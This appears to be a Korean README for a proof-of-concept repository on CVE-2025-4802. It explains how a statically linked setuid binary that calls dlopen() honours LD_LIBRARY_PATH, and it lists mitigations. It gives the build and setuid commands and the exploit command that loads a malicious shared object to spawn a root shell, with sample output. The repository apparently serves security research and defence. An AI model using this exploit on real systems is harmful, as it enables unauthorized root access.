
setuid 바이너리가 LD_LIBRARY_PATH와 함께 dlopen에 취약한 경우에 대한 개념 증명
⚠️ 면책 조항: 이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 이 익스플로잇을 사용하지 마십시오. 오용은 법률 및 규정을 위반할 수 있습니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-4802 |
| 영향받는 소프트웨어 | GNU C 라이브러리 (glibc) |
| 영향받는 버전 | 2.27 – 2.38 |
| 취약점 유형 | 신뢰할 수 없는 LD_LIBRARY_PATH를 통한 권한 상승 |
| 공격 벡터 | 로컬 |
GNU C 라이브러리(glibc) 버전 2.27부터 2.38까지의 취약점으로, 공격자가 dlopen()을 호출하는 정적으로 컴파일된 setuid 바이너리에서 LD_LIBRARY_PATH 환경 변수를 악용할 수 있습니다.
일반적으로 동적 링커는 setuid 프로그램에 대해 LD_LIBRARY_PATH를 정리합니다. 그러나 정적으로 컴파일된 바이너리는 동적 링커를 완전히 우회하므로 LD_LIBRARY_PATH가 절대 지워지지 않습니다. 이러한 바이너리가 dlopen()을 호출할 때(직접 또는 setlocale()이나 getaddrinfo()와 같은 NSS 함수를 통해 간접적으로), glibc는 공격자가 제어하는 LD_LIBRARY_PATH를 사용하여 공유 라이브러리를 해석하므로 상승된 권한으로 임의 코드 실행이 가능합니다.
dlopen("myso.so", ...)를 호출하여 절대 경로가 아닌 이름으로 공유 객체를 로드합니다.ld-linux.so)가 실행되지 않아 LD_LIBRARY_PATH가 정리되지 않습니다.hello() 심볼을 내보내지만 root 셸을 생성하는 악성 공유 객체(myso.so)를 만듭니다.LD_LIBRARY_PATH를 악성 라이브러리가 포함된 디렉터리를 가리키도록 설정합니다..
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version으로 확인)gcc, makemake all
또는 수동으로:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
예상 출력:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH로 익스플로잇 (악성 동작)LD_LIBRARY_PATH=./evil_library ./main
예상 출력:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
바이너리는 정당한 라이브러리 대신 evil_library/에서 공격자의 myso.so를 로드하여 root 셸을 생성합니다.

비디오 안내도 제공됩니다: proof_of_concept_video.mp4
dlopen()을 사용하는 setuid 바이너리에 대해 정적 링크 회피dlopen() 호출 시 라이브러리 이름만 사용하지 말고 절대 경로 사용dlopen() 호출 전에 권한 삭제